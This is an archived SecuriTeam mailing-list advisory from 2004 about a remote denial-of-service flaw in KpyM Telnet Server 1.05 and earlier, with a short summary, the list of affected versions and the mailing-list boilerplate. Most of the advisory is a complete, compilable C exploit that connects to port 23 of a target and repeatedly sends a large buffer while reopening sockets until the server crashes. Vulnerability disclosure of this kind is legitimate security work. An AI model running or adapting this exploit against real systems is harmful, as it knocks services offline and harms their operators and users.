[NT] KpyM Telnet Server DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 01/08/04

  • Next message: SecuriTeam: "[EXPL] Linux Kernel do_mremap Improved Test" 
    To: list@securiteam.com
Date: 8 Jan 2004 11:24:32 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      KpyM Telnet Server DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://kpym.sourceforge.net/> KpyM Telnet Server (KTS) is "a free telnet
    server for WinNT. KTS runs as a service and provides access to the host
    computer via the telnet protocol. Supports character graphics
    (applications like edit.com) and colours and uses WinNT identification
    mechanism". A vulnerability in the product allows remote attackers to
    crash the server by connecting to it multiple times, not giving it
    adequate time to free used sockets.

    DETAILS

    Vulnerable systems:
     * KpyM Telnet Server version 1.05 and prior

    Immune systems:
     * KpyM Telnet Server version 1.06 and newer

    Exploit:
    /* By NoRpiuS
    * UNIX & WIN VERSION
    * USE -DWIN to compile on windows
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #ifdef WIN
        #include <winsock.h>
        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netdb.h>
    #endif

    #define PORT 23
    #define BUFFSZ 10000

    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        u_char *buff;
        struct sockaddr_in peer;
        int sd, err;
        u_short port = PORT;

        setbuf(stdout, NULL);

        fputs("\n"
            "KpyM Telnet Server v1.05 remote DoS\n"
            "by NoRpiUs\n"
            "e-mail: norpius@altervista.org\n"
            "web: http://norpius.altervista.org\n"
            "\n", stdout);

        if(argc < 2) {
            printf("\nUso: %s <ip>\n\n",argv[0]);
            exit(1);
        }

    #ifdef WIN
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        peer.sin_addr.s_addr = resolv(argv[1]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        buff = malloc(BUFFSZ);
        if(!buff)
        {
              fputs("[-] Can't allocate buffer\n", stdout);
              exit(0);
        }
            

        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0)
        {
              fputs("[-] Can't create socket\n", stdout);
              exit(0);
        }

        printf("\n[+] Connecting to %s:%hu...\n",
            inet_ntoa(peer.sin_addr), port);
        err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
        if(err < 0)
        {
              fputs("[-] Can't connect\n", stdout);
              exit(0);
        }

        err = recv(sd, buff, BUFFSZ, 0);
        if(err < 0)
        {
              fputs("[-] No response from the server", stdout);
              exit(0);
        }

        memset(buff, 0, BUFFSZ);

        fputs("[+] Waiting for the crash.. ", stdout);
       
        while(1)
        {
           err = send(sd, buff, BUFFSZ, 0);
           if(err < 0)
           {
              fputs("[-] Can't send\n", stdout);
              exit(0);
           }
           printf(".");
           close(sd);
           sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
           err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
           if ( err < 0 )
           {
               fputs("\n[+] Crashed\n\r", stdout);
               exit(0);
           }
        }
        
        close(sd);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE)
        {
            hp = gethostbyname(host);
            if(!hp)
            {
                printf("\nError: Unable to resolve hostname (%s)\n", host);
                exit(1);
            }
        else host_ip = *(u_long *)(hp->h_addr);
        }
        return(host_ip);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:norpius@email.it> NoRpiUs.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] Linux Kernel do_mremap Improved Test"

    Relevant Pages